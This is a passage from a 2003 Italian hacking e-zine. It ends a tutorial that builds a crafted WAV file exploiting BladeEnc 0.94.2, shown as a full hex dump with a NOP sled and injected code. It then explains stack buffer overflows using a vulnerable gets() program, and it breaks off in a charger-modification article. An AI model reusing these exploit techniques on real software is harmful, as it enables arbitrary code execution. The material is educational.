| 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000130: 88e8 6900 c704 2400 3746 00a1 4012 4600 ..i...$.7F..@.F. |
| 0000140: 8944 2404 e84a 8200 00ff 1524 d041 000a .D$..J.....$.A.. |
| 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so |
| 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost |
| 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)... |
| |
| |
| |
| ####################################################################### |
| |
| |
| ======================================== |
| Sesto passo (ricalcoliamo gli indirizzi) |
| ======================================== |
| |
| |
| Gli indirizzi da ricalcolare facendo riferimento alla posizione del |
| nostro codice in memoria sono: |
| |
| - l'indirizzo della nostra stringa |
| - l'indirizzo della funzione di visualizzazione |
| |
| Per calcolare l'indirizzo dell'istruzione successiva o di qualsiasi |
| indirizzo nel nostro file non dobbiamo far altro che eseguire: |
| |
| ESP + indirizzo_nel_file - ESP_nel_file |
| |
| Esempio: |
| |
| La nostra stringa si trova all'offset 0x0000014f, ESP e' 0x0069e888 e |
| l'ESP nel file si trova a 0x00000134 (in pratica da dove partono i |
| bytes che vanno in memoria). |
| |
| 0x0069e888 + 0x0000014f - 0x00000134 = 0x0069e8a3 |
| |
| Cio' significa che quando il nostro codice andra' a finire in memoria |
| la nostra stringa si trovera' esattamente all'indirizzo 0x0069e8a3 |
| |
| Invece l'indirizzo della funzione di visualizzazione e' gia' noto ed e' |
| 0x00414c3f |
| |
| Se volessimo disassemblare il codice nel nostro file wave, avremmo: |
| |
| 0x00000134: mov dword ptr [esp], indirizzo_stringa |
| 0x0000013b: mov eax, dowrd ptr [00461240] |
| 0x00000140: mov dword ptr [esp+04], eax |
| 0x00000144: call 00414c3f |
| 0x00000149: call dword ptr [0041d024] |
| |
| Ora sostituiamo il puntatore alla vecchia stringa nella prima funzione |
| con quello alla nostra stringa: |
| |
| La prima istruzione che prima era: c7042400374600 |
| ora diventera': c70424a3e86900 |
| |
| Invece la quarta istruzione richiede un indirizzo relativo, e non |
| assoluto, che si calcola cosi': |
| |
| ind_destinazione - ind_istruzione_successiva |
| |
| Per calcolare l'indirizzo in memoria dell'istruzione successiva ci |
| affidiamo all'operazione che abbiamo eseguito prima per trovare |
| l'indirizzo della stringa: |
| |
| 0x0069e888 + 0x00000149 + 0x00000134 = 0x0069e89d |
| (ESP_mem + istr_5 + ESP_file) |
| |
| Ed ecco il nostro indirizzo relativo: |
| |
| 0x00414c3f - 0x0069e89d = FFD763A2 |
| |
| Quindi la quarta istruzione che prima era: e84a820000 |
| ora diventera': e8a263d7ff |
| |
| |
| |
| ####################################################################### |
| |
| |
| ===================================== |
| Settimo passo (finalmente si mangia!) |
| ===================================== |
| |
| |
| Finalmente possiamo dire di avere TUTTO! |
| |
| Ecco il file wave completo: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt |
| 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ |
| 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000130: 88e8 6900 c704 24a3 e869 00a1 4012 4600 ..i...$..i..@.F. |
| 0000140: 8944 2404 e8a2 63d7 ffff 1524 d041 000a .D$...c....$.A.. |
| 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so |
| 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost |
| 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)... |
| |
| |
| Avviamo il programma e godiamoci l'output: |
| |
| --- |
| C:\install\blade>bladeenc file.wav |
| |
| BladeEnc 0.94.2 (c) Tord Jansson Homepage: |
| http://bladeenc.mp3.no |
| ======================================================================== |
| ======= |
| BladeEnc is free software, distributed under the Lesser General Public |
| License. |
| See the file COPYING, BladeEnc's homepage or www.fsf.org for more |
| details. |
| |
| |
| |
| Ciao a tutti sono codice dimostrativo 8-) |
| |
| |
| C:\install\blade> |
| --- |
| |
| Eh eh, ciao mio caro amico "codice dimostrativo" 8-) |
| |
| |
| |
| ####################################################################### |
| |
| |
| =========== |
| Conclusioni |
| =========== |
| |
| |
| Quello che abbiamo visto oggi e' uno dei modi piu' semplici per creare |
| un exploit dimostrativo che faccia eseguire codice ad un programma |
| vulnerabile. |
| |
| L'unica parte un po' piu' "noiosa" e "complicata" riguarda il calcolo |
| degli indirizzi in memoria e la conversione a volte da assoluti in |
| relativi, ma dopo le prime volte diventera' quasi una cosa |
| "spassosa". |
| |
| Spero siate arrivate a leggere fino a qui, ma piu' di tutto spero che |
| queste 600 righe di articolo/tutorial abbiano suscitato interesse in |
| qualcuno. |
| |
| Ricordatevi comunque che questo genere di vulnerabilita' e' molto |
| semplice per eseguire codice, e le cose cambiano drasticamente quando |
| si ha a che vedere con vulnerabilita' differenti come ad esempio buffer |
| oveflow di stringhe char in cui non si possono usare bytes NULL, o |
| peggio quando la porzione di codice che verra' caricata in memoria e' |
| troppo piccola ed in molti altri casi in cui o si cerca di prendere la |
| cosa come una "sfida" contro se stessi oppure si preferisce abbandonare |
| la realizzazione del proof-of-concept. |
| |
| |
| |
| Se avete domande, commenti o correzioni non esitate a scrivermi! |
| |
| |
| BYEZ |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi EXPL0iT #09 - 01/06/2003 |
| BUFFER 0VERFL0W: DALLA TE0RiA ALLA PRATiCA [Auriemma Luigi] 0x15/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| |
| ####################################################################### |
| |
| Titolo: Buffer overflow: spiegazione tecnica ed esempio pratico |
| Autore: Auriemma Luigi |
| e-mail: aluigi@pivx.com |
| web: http://www.pivx.com/luigi/ |
| |
| ####################################################################### |
| |
| |
| ============ |
| Introduzione |
| ============ |
| |
| |
| Oramai il termine "buffer overflow" e' entrato nel vocabolario di |
| chiunque abbia una minima conoscenza di sicurezza informatica e |
| soprattutto della storia della sicurezza, visto che tale problema e' |
| diventato davvero quasi un simbolo. |
| |
| La spiegazione veloce a questo problema e che tutti conosciamo e' piu' |
| o meno la seguente: |
| |
| "Il buffer-oveflow si presenta quando una stringa in input e' piu' |
| grande del buffer ove dovra' essere immagazzinata e cio' comporta la |
| sovrascrittura di parti di memoria circostanti al buffer che sono |
| necessarie all'esecuzione del codice macchina" |
| |
| In quest'articolo invece di limitarmi a riproporre la classica frase |
| appena vista, voglio spiegare meglio nel dettaglio cosa accade ad una |
| macchina (x86 nel nostro caso) quando si viene a verificare un BOF |
| (abbreviazione di buffer-overflow) e soprattutto le conseguenze che |
| questo problema trascina con se. |
| |
| Per l'esempio che mostrero' mi affidero' ad un sistema Win solo per |
| comodita', ma ricordate che non ci sono differenze tra i sistemi |
| operativi in quanto il buffer overflow interessa appunto la macchina. |
| Le uniche differenze che si possono incontrare riguardano la direzione |
| dello stack che puo' essere di tipo *BSD (come su Linux) oppure di |
| direzione contraria come accade su Win ed altri sistemi, ma cio' non ci |
| interessa molto per i BOF. |
| |
| |
| L'articolo non necessita di particolari conoscenze tecniche ma senza |
| dubbio aver avuto a che fare con l'Assembly aiuta molto in questi |
| casi. |
| Comunque nella sezione successiva daro' una breve spiegazione di cosa |
| incontreremo durante l'articolo. |
| |
| |
| |
| ####################################################################### |
| |
| |
| =================== |
| Cosa bisogna sapere |
| =================== |
| |
| |
| Ovviamente bisogna conoscere le basi dell'Assembly e soprattutto come |
| viene gestita ed e' composta la memoria nei processori x86. |
| |
| Per ovviare a qualche lacuna o qualche ruggine ecco una breve intro di |
| cio' con cui avremo a che fare: |
| |
| |
| ----- |
| STACK |
| ----- |
| |
| Lo stack e' una zona di memoria adibita al contenimento dei dati dei |
| programmi. |
| Esso viene spesso paragonato ad una pila, invece a me sembra di piu' un |
| semplice contenitore che contiene tanta roba ma noi possiamo inserire o |
| prelevare gli oggetti al suo interno soltanto uno per volta. |
| Ad aiutarci comunque nell'operazione di prelevamento ed inserimento |
| c'e' il puntatore allo stack il cui compito e' proprio quello di |
| eseguire operazioni ad un "livello" specifico. |
| |
| Lo stack puo' quindi essere visto cosi': |
| |
| STACK |
| |-----------| |
| | oggetto 0 | |
| | ... | |
| | oggetto 7 | |
| | oggetto 8 | |
| | oggetto 9 | |
| | ... | |
| |-----------| |
| |
| |
| Lo stack ha una sua direzione che varia a seconda del sistema |
| operativo, difatti Win e Linux utilizzano 2 direzioni opposte. |
| Comunque questa e' solo una nota e non ci interessa. |
| |
| |
| |
| --- |
| EBP |
| --- |
| |
| EBP e' un registro x86 ed e' il puntatore alla base dello stack, serve |
| per sapere da dove inizia lo stack che stiamo utilizzando (ad esempio |
| da dove iniziano i dati per la funzione corrente che stiamo eseguendo): |
| |
| STACK |
| |-----------| <-- qui e' dove punta EBP (ossia dove inizia lo stack) |
| | oggetto 0 | |
| | ... | |
| | oggetto 7 | |
| | oggetto 8 | |
| | oggetto 9 | |
| | ... | |
| |-----------| |
| |
| |
| |
| |
| --- |
| ESP |
| --- |
| |
| ESP invece e' un puntatore ad un indirizzo dello stack. |
| In pratica mentre EBP ci ricorda da dove inizia lo stack, ESP invece ci |
| permette di scorrerlo a nostro piacimento per prelevare od inserire |
| dati in un punto preciso della memoria: |
| |
| |
| STACK |
| |-----------| <-- qui e' dove punta EBP (ossia dove inizia lo stack) |
| | oggetto 0 | |
| | ... | |
| | oggetto 7 | |
| | oggetto 8 | <-- qui invece e' dove puo' puntare ESP ad esempio |
| | oggetto 9 | |
| | ... | |
| |-----------| |
| |
| |
| |
| --- |
| EIP |
| --- |
| |
| Forse il registro piu' famoso nella sicurezza informatica. Esso e' |
| semplicemente un puntatore all'istruzione successiva, ossia cio' che la |
| CPU dovra' eseguire subito dopo l'istruzione corrente. |
| E' proprio lui a permettere di eseguire codice tramite un programma |
| buggato (vi dicono niente CodeRed ed altri worm o tutti gli exploit |
| che permettono di diventare root su macchine remote o locali?). |
| |
| |
| |
| ---- |
| CALL |
| ---- |
| |
| CALL non e' un registro ma e' un'istruzione che svolge le seguenti |
| operazioni: |
| |
| - Salvare EIP in memoria |
| - Saltare alla funzione che vogliamo eseguire (modicando EIP) |
| |
| Questo e' in breve cio' che fa' CALL. |
| |
| |
| |
| --- |
| RET |
| --- |
| |
| Anche RET non e' un registro ma e' un'istruzione che si preoccupa solo |
| di riassegnare ad EBP ed EIP i valori precedentemente immagazzinati |
| nello stack. |
| E' proprio quando viene chiamato RET che EIP puo' essere comandato a |
| piacimento da chi ha creato il BOF. |
| |
| |
| |
| |
| ####################################################################### |
| |
| |
| =================== |
| Spiegazione tecnica |
| =================== |
| |
| |
| Prima di passare all'esempio pratico e' meglio iniziare a capire per |
| quale motivo ed in quale condizione avremo il verificarsi di un BOF. |
| Se avete qualche dubbio durante o dopo aver letto questa sezione |
| dell'articolo lanciatevi senza problemi all'esempio pratico nella |
| sezione successiva in quanto vi schiarira' molto le idee e, se anche |
| voi siete come me, preferirete senza dubbio un esempio che oltre a far |
| capire la teoria dimostri con i fatti cio' che si sta' dicendo. |
| Comunque ritornare in questa sezione e' senza dubbio utile se vi e' |
| sfuggito qualcosa. |
| |
| |
| Come detto nell'introduzione un BOF altro non e' che la sovrascrittura |
| incondizionata di un buffer con dei dati che essendo molti di piu' |
| del buffer stesso verranno quindi immagazzinati anche nelle zone di |
| memoria adiacenti ad esso. |
| |
| In questa zona di memoria (lo stack appunto) c'e' tutto cio' che |
| servira' alla funzione in esecuzione... una specie di banco di lavoro |
| con tutto l'occorrente pronto all'uso 8-) |
| |
| Perche' parlo di funzione? |
| |
| Semplice, il BOF si verifica proprio con le funzioni. |
| Ma continuiamo... |
| |
| |
| In pratica ogni volta che c'e' una chiamata ad una funzione (CALL), il |
| processore si occupera' di salvare in memoria il valore dell'EIP |
| corrente in modo da potersi riposizione in quella stessa posizione al |
| termine della funzione che si sta' chiamando. |
| Il programma invece appena viene raggiunto l'inizio della funzione |
| dovra' subito salvare il puntatore EBP che puntava all'inizio del |
| precedente stack e dopodiche' lasciare dello spazio proprio prima di |
| esso in modo che venga utilizzato dalle variabili. |
| |
| Da sottolineare che l'immagazzinamento di EIP e' tutto a carico del |
| processore in quanto il programma NON puo' modificare od operare su |
| tale registro direttamente. |
| |
| Questa semplice operazione che abbiamo appena visto permette infatti al |
| programma di poter ripescare il puntatore all'istruzione che abbiamo |
| lasciato prima di chiamare la funzione, non appena quest'ultima si |
| concludera' (in gergo, "ritornare"). |
| |
| In Assembly, quando una funzione inizia, la prima cosa che fara' quindi |
| e' questo: |
| |
| |
| push ebp |
| mov ebp, esp |
| sub esp, MEMORIA_PER_LE_VARIABILI |
| |
| |
| Semplice: immagazzina il vecchio EBP, dice ad EBP dove inizia il nuovo |
| stack e successivamente alloca lo spazio per le variabili che appunto |
| verranno posizionate prima di EBP ed EIP. |
| |
| Insomma un metodo semplice semplice che pero' puo' causare moltissimi |
| problemi per via dei BOF. |
| |
| Da come chiunque puo' aver intuito, i problemi con il BOF non si |
| vedranno subito dopo aver sovrascritto il buffer ed i 2 registri |
| salvati, ma si avranno dopo che la funzione tentera' di ritornare alla |
| vecchia posizione precedentemente salvata nello stack (dove si trovano |
| le istruzioni che dovevano essere eseguite dopo la chiamata alla |
| funzione). |
| Invece di ritrovarsi al vecchio indirizzo, il programma arrivera' alla |
| posizione indicata dal registro EIP che, tramite l'istruzione RET alla |
| fine della funzione, si ritrovera' al suo interno i bytes che erano |
| stati immessi precedentemente e che hanno causato la sovrascrittura |
| della memoria adiacente al buffer di destinazione. |
| |
| |
| Grosso modo questo e' uno stack "integro": |
| |
| [buffer1][EBP][EIP] |
| |
| E questo invece e' come si presenta appena avviene un BOF: |
| |
| [stringa][str][str][str....] |
| |
| dove str e' la stringa di dati immessa dall'utente o comunque da |
| considerarsi come "sorgente" (mentre il buffer viene considerato la |
| "destinazione"). |
| |
| Penso che sia chiaro ora che fine fanno i bytes in piu' quando si |
| verifica un BOF... |
| |
| |
| Beh la parte teorica puo' anche ritenersi conclusa, ora iniziamo |
| seriamente con un bell'esempio pratico. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ========================== |
| Cosa ci serve per iniziare |
| ========================== |
| |
| |
| Prima di passare all'esempio pratico avremo bisogno di alcuni tool che |
| sono tutti disponibili come freeware od OpenSource. |
| |
| |
| Innanzitutto abbiamo bisogno di un compilatore C e se non ne abbiamo |
| uno, una buona scelta potrebbe proprio essere Lcc-win32 del francese |
| Jacob Navia. |
| |
| http://www.cs.virginia.edu/~lcc-win32/ |
| |
| |
| |
| Dopodiche' ci serve un disassembler. La mia scelta personale per |
| qualcosa di veloce ed OpenSource ricade su Disasm del coreano Sang Cho. |
| |
| http://www.geocities.com/SiliconValley/Foothills/4078/disasm.html |
| |
| |
| |
| Se vogliamo anche saperne di piu' riguardo al movimento dei registri o |
| cosa c'e' in memoria durante l'esecuzione di una parte di un programma, |
| un eccellente scelta puo' essere TD32, ossia il Turbo Debugger 5.5 di |
| Borland rilasciato free. |
| Vi risparmio tutte le rotture per poterlo prelevare dal sito della |
| Borland in quanto l'ho messo a disposizione sulla mia pagina personale: |
| |
| http://www.pivx.com/luigi/misc/td32-55.zip |
| |
| |
| |
| Se non avete mai usato un compilatore C ed avete optato per Lcc, il |
| seguente file .bat vi potra' essere d'aiuto: |
| |
| ---lcc.bat--- |
| @echo off |
| c:\lcc\bin\lcc.exe -A -e20 -O -p6 -unused %1.c |
| c:\lcc\bin\lcclnk.exe -s -subsystem:console %1.obj %2 %3 %4 %5 %6 %7 %8 |
| %9 |
| del %1.obj |
| ------------- |
| |
| Quindi per compilare l'esempio che mostrero' nella sezione successiva |
| non dovrete far altro che digitare: "lcc bof" e basta. |
| Tutto qui. |
| |
| |
| |
| ####################################################################### |
| |
| |
| =============== |
| Esempio pratico |
| =============== |
| |
| |
| Il seguente sorgente in linguaggio C e' un classico esempio di BOF: |
| |
| ---BOF.C--- |
| |
| #include <stdio.h> |
| |
| |
| void leggistringa(void); |
| |
| |
| int main(void) { |
| leggistringa(); |
| return(0); |
| } |
| |
| |
| void leggistringa(void) { |
| long num = 0; |
| char buff[8]; |
| |
| gets(buff); |
| } |
| |
| ----------- |
| |
| |
| Chi conosce il C sicuramente (o almeno spero) avra' iniziato a tremare |
| e sudare freddo alla visione della funzione gets() che puo' essere |
| considerata a tutti gli effetti come la funzione piu' pericolosa |
| esistente nella libreria standard del linguaggio C e difatti molti |
| compilatori visualizzano dei bei warning quando si cerca di |
| utilizzarla. |
| |
| Tale funzione difatti legge dallo standard input (tastiera) la stringa |
| che dopo verra' buttata nel buffer specificato con l'unica accortezza |
| di sostituire il carattere line-feed (l'invio a capo che abbiamo |
| digitato per terminare l'immissione dati) con un byte NULL. |
| |
| La particolarita' e la pericolosita' della funzione sta' nel fatto che |
| se ne sbatte altamente di controllare se la stringa che ha immesso |
| l'utente e' piu' grande del buffer ove verra' collocata. |
| Pensate ad un autotreno che non frena allo stop ma continua la sua |
| corsa e frenera' quando gli pare... questa e' la base dei BOF. |
| Insomma se cercate grane con i buffer overflow, gets() e' cio che fa' |
| per voi 8-) |
| |
| Ma veniamo a noi. |
| |
| Secondo i nostri calcoli nello stack dovranno essere tenuti in |
| considerazione esattamente 12 bytes in quanto abbiamo gli 8 bytes di |
| buff piu' i 4 bytes di num (un numero long in memoria infatti occupa |
| appunto 4 bytes e comunque la logica a 32bit degli attuali processori |
| divide tutto in 4 bytes alla volta). |
| |
| Da notare che spesso se si usano dei buffer o altre variabili non |
| inizializzate, la memoria necessaria verra' allocata solo quando |
| verranno effettivamente utilizzate. |
| |
| Una volta compilato tale codice avremo che la funzione leggistringa() |
| contiene il seguente codice macchina: |
| |
| |
| ------------chiamata a leggistringa()---------- |
| :00401250 E803000000 call 00401258 |
| :00401255 31C0 xor eax, eax |
| :00401257 C3 ret |
| -----------------leggistringa()---------------- |
| :00401258 55 push ebp |
| :00401259 89E5 mov ebp, esp |
| :0040125B 83EC0C sub esp, 00C |
| :0040125E 8D45F4 lea eax, dword[ebp-0C] |
| :00401261 50 push eax |
| :00401262 E829000000 call 00401290 |
| ;;call CRTDLL.gets |
| :00401267 59 pop ecx |
| :00401268 C9 leave |
| :00401269 C3 ret |
| ----------------------------------------------- |
| |
| |
| L'istruzione CALL all'indirizzo 00401250 fara' si che l'attuale EIP |
| (00401255 appunto) venga immagazzinato in memoria all'indirizzo |
| 0063fdd4, cosicche' esso potra' essere ripreso quando verra' invocata |
| l'istruzione RET al termine della funzione leggistringa(). |
| |
| La prima istruzione di leggistringa() salva EBP nello stack, mentre la |
| seconda copia su EBP il valore di ESP. |
| Ricordiamoci che EBP puntava all'inizio del vecchio stack prima che |
| entrassimo in leggistringa(). Esso serve appunto per riappropiarci del |
| nostro vecchio stack appena terminata la funzione. |
| Dopodiche' il programma alloca 12 bytes (00C) che verranno appunto |
| usati per contenere le 2 variabili buff di 8 e num di 4 bytes |
| rispettivamente. |
| |
| |
| Dopo aver avviato il nostro programma, bof.exe, inseriremo la stringa |
| "1234567" che occupera' alla perfezione il buffer di 8 bytes chiamato |
| buff in quanto 7 numeri occuperanno i primi 7 bytes e l'ottavo sara' |
| un NULL byte che serve a delimitare la stringa. |
| |
| Esattamente alla posizione 0063fdd4 del nostro stack (ossia il valore |
| di ESP) la situazione "normale" dovrebbe essere la seguente: |
| |
| 0063fdd4: 31 32 33 34 35 36 37 00 1234 567. |
| 0063fdda: 00 00 00 00 38 fe 63 00 .... [EBP] |
| 0063fde4: 55 12 40 00 [EIP] |
| |
| |
| Tutto cio' e' chiarissimo: |
| |
| 0063fdd4 ecco gli 8 bytes di buff appunto uguali a "1234567" + NULL |
| 0063fdda ecco i 4 bytes di num uguale a 0 |
| 0063fde0 ecco EBP che abbiamo salvato precedentemente |
| 0063fde4 ecco infine il puntatore EIP salvato nello stack che punta |
| esattamente al codice che c'e' dopo la chiamata alla nostra |
| funzione leggistringa() (quello all'indirizzo 00401255 |
| appunto) |
| |
| |
| Tutto chiaro? |
| In questi 20 bytes c'e' il nostro BOF quindi cerchiamo di comprenderli |
| alla perfezione. |
| |
| |
| Ora invece di inserire "1234567" inseriremo proprio 20 bytes, ossia: |
| |
| 8 per il buffer chiamato buff |
| 4 per il numero long chiamato num |
| 4 per il valore di EBP precedentemente salvato |
| 4 per il valore di EIP precedentemente salvato |
| |
| La stringa da me scelta e' "123456781234aaaabbbb": |
| |
| |
| 0063fdd4: 31 32 33 34 35 36 37 38 1234 5678 |
| 0063fdda: 31 32 33 34 61 61 61 61 1234 aaaa |
| 0063fde4: 62 62 62 62 bbbb |
| |
| |
| Wow! Indovinate un po' che fine hanno fatto EBP ed EIP??? |
| EBP e' ora 0x61616161, ossia "aaaa" ed EIP e' diventato 0x62626262 che |
| e' uguale a "bbbb". |
| |
| |
| Bene bene, e' proprio cio' che volevo farvi vedere. Ora sicuramente il |
| vostro sistema operativo vi avra' segnalato un errore critico in quanto |
| che l'indirizzo 62626262 non e' una zona di memoria del programma |
| bof.exe, quindi esso non e' autorizzato a leggere, scrivere o |
| posizionarsi in quel punto. |
| Ma la cosa importante e' che appunto la macchina ha provato a leggere |
| ad un indirizzo che e' stato inserito da un possibile utente estraneo, |
| il quale avrebbe potuto fare il bello ed il cattivo tempo sulla vostra |
| macchina. |
| |
| Forse ora qualche sysadmin capisce perche' le patch vanno applicate il |
| prima possibile e non dopo che un worm si e' divertito sulla sua |
| macchina. |
| |
| |
| Per chi e' maniaco dei dettagli riporto il valore che i registri |
| assumono durante l'esecuzione di leggistringa() presi direttamente col |
| debugger TD32: |
| |
| :00401250 EBP: 0063fe38, ESP: 0063fde4 CALL leggistringa() |
| --- |
| :00401258 ESP: 0063fde0 |
| :00401259 EBP = ESP (0063fde0) |
| :0040125B ESP: 0063fdd4 |
| :0040125E EAX: 0063fdd4 |
| :00401261 ESP: 0063fddd0 |
| :00401262 ECX: 7fc1b3d4, EDX: 81a16d7c gets() "123456781234aaaabbbb" |
| :00401267 ECX: 0063fdd4, ESP: 0063fdd4 |
| :00401268 EBP: 61616161, ESP: 0063fde4 leave |
| :00401269 ESP: 0063fde8, EIP: 62626262 ret |
| |
| |
| Se qualcuno di voi avesse
comunque ancora dei dubbi sul fatto che i BOF |
| si presentano quando si ritorna da una funzione, vi consiglio di |
| aggiungere al nostro programma di esempio alcune righe di codice dopo |
| la riga "gets(buff);" |
| |
| Difatti possiamo ad esempio aggiungere qualcosa tipo: |
| |
| ... |
| gets(bufF); |
| printf("Se mi vedi non puoi avere dubbi 8-)\n"); |
| } |
| |
| |
| Provate a compilare il programma con questa nuova riga di C e vedrete |
| che il crash avverra' proprio all'uscita da leggistringa() dopo che e' |
| stata visualizzata la stringa che abbiamo appena aggiunto. |
| Naturalmente un semplice printf() come quello che ho usato io non |
| richiede altre variabili o spazio aggiuntivo nello stack, mentre altre |
| operazioni piu' complesse lo possono modificare. |
| |
| |
| |
| ####################################################################### |
| |
| |
| =========================== |
| Effetti dei buffer overflow |
| =========================== |
| |
| |
| Oramai penso sia chiaro a tutti perche' i buffer overflow creano cosi' |
| tanti problemi... semplicemente perche' permettono di eseguire codice |
| sulla macchina che esegue il programma vulnerabile. |
| |
| Non e' compito di quest'articolo entrare nei dettagli e nei vari metodi |
| esistenti per creare un exploit per buffer overflow, comunque la logica |
| e' sempre quella di far puntare EIP ad un pezzo della stringa che e' |
| stata immessa dall'attacker. |
| |
| In pratica e' un po' come se invece di "123456781234aaaabbbb" un |
| attacker immetta del codice eseguibile prima o preferibilmente dopo il |
| valore che andra' a sovrascrivere EIP e settare quest'ultimo valore |
| all'indirizzo in cui verra' immagazzinata la sua stringa. |
| |
| Beh sembra piu' difficile a dirsi che a farsi 8-) |
| |
| |
| Ho scritto un articolo riguardo la scrittura di un semplice exploit |
| dimostrativo per un bug simile al BOF ma che consiste nella |
| sovrascrittura dell'indirizzo di ritorno dopo una lettura |
| incondizionata da un file, il che e' molto utile per semplificarci la |
| vita e non avere limiti con il nostro exploit: |
| |
| http://www.pivx.com/luigi/articles/expdem.txt |
| |
| |
| |
| ####################################################################### |
| |
| |
| =========== |
| Conclusione |
| =========== |
| |
| |
| Beh concludendo spero che ora il concetto di buffer overflow sia molto |
| piu' chiaro soprattutto grazie all'utilizzo di un esempio pratico molto |
| semplice. |
| |
| Ricordatevi sempre che certe cose sono piu' difficili da spiegare che |
| da capire e che dopo la prima volta che si inizia ad ingranare con |
| certi concetti tutto il resto non sara' piu' un problema. |
| |
| Prima di salutarci ricordatevi anche che la storia dell'informatica non |
| e' scritta su nessun libro ma ce l'avete sotto gli occhi, se state |
| leggendo quest'articolo sul monitor, in quanto nel vostro PC c'e tutto, |
| dall'Assembly, alle protezioni dei softwares, dalle vulnerabilita' a |
| qualsiasi altra cosa possiate mai leggere riguardo questo fantastico |
| mondo creato molti anni fa' partendo da una costosa ed ingombrante |
| calcolatrice. |
| |
| |
| Commenti, correzioni, dettagli od altro sono sempre graditi! |
| |
| |
| BYEZ |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #09 - 01/06/2003 |
| CHARGER HACKiNG [bondo] 0x16/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| CHARGER HACKING |
| |
| ovvero |
| |
| come trasformare un caricabatterie (bruciato...) in un alimentatore |
| |
| |
| |
| chiunque abbia a che fare con l'elettronica come hobby si trova ad |
| aver bisogno di un alimentatore. |
| un piccolo (ma veramente piccolo) alimentatore si può ricavare da un |
| caricabatterie per cellulari nokia (possibilmente di qualcun'altro) |
| con qualche piccola modifica... |
| i caricabatterie per i nokia hanno una tensione di uscita di 3.7V - a |
| noi serve di 5V, quindi dobbiamo metterci le mani. |
| |
| DISCLAIMER: il contenuto di questo articolo è fornito senza alcuna |
| garanzia e soprattutto senza assicurazioni sulla vita... attenti a |
| lavorare con la 220... |
| |
| |
| |
| materiale occorrente: |
| --------------------- |
| - n°1 caricabatterie per cellulari nokia |
| - n°1 diodo 1N4001 |
| - n°1 condensatore elettrolitico 470uF (micro farad) |
| - n°1 integrato 7805 |
| - stagno |
| - saldatore |
| - tester |
| - cavi e cavetti |
| |
| |
| procedimento: |
| ------------- |
| la parte più impegnativa è smontare il caricabatterie... dovete sapere |
| che dalle ultime ricerche effettuate su marte, siamo entrati in |
| possesso di una tecnologia aliena che ci consente di fabbricare viti |
| con la testa non a croce e nemmeno piatta, ma bensì di questa forma |
| |
| / |
| / \ |
| ---- \ |
| |
| è una cosa eccezionale... |
| se riuscite a togliere queste tre maledette viti che chiudono il |
| contenitore di plastica del trasformatore, siete già a buon punto. |
| il mio consiglio è quello di trovare 3 viti che tali si possano |
| definire e sostituirle a quelle di fabbrica. |
| |
| una volta aperto, vi si presenterà davanti un cubetto metallico con |
| annesso un circuitino stampato, del tipo: |
| |
| |
| +---------------+ -DDD- diodi 1N4001 |
| | | -CC- condensatore |
| | | T trasformatore |
| | T | o o pin connessi al cavo |
| | | |
| +---| -DDD- -DDD- |---+ |
| | +---------------+ | | |
| | -DDD- D | |
| | o o / \ -CC- | | |
| +---------+ +---------+ |
| + - |
| |
| |
| |
| la prima operazione da compiere è dissaldare il condensatore perchè non |
| serve e anche perchè è bruciato. |
| sul retro dello stampato, dove ci sono le due piazzole vuote che erano |
| occupate dal condensatore appena tolto, dobbiamo creare un |
| cortocircuito tra queste due - possiamo farlo con un cavetto oppure |
| direttamente con lo stagno. |
| |
| adesso si tratta di dimensionare un nuovo condensatore, che però non |
| andrà allo stesso posto di quello appena dissaldato (attenzione). |
| considerato che il secondario del trasformatore eroga circa 10V, il |
| condensatore dovrebbe essere attorno a 1000uF, ma date le dimensioni |
| dei condensatori di queste capacità, usiamo un condensatore da 470uF |
| che si riesce a far stare all'interno del contenitore |
| (bisogna "adattarlo" rompendo un po' di inutili bavette di plastica |
| che sono all'interno). |
| in termini di prestazioni questo adattamento non crea particolari |
| problemi. |
| il condensatore va posizionato (se ci stà) al posto dei pin di uscita |
| del segnale, facendo ben attenzione a mettere il + nel + e il - nel -. |
| nel caso non si chiudesse più il caricabatterie, staccate il |
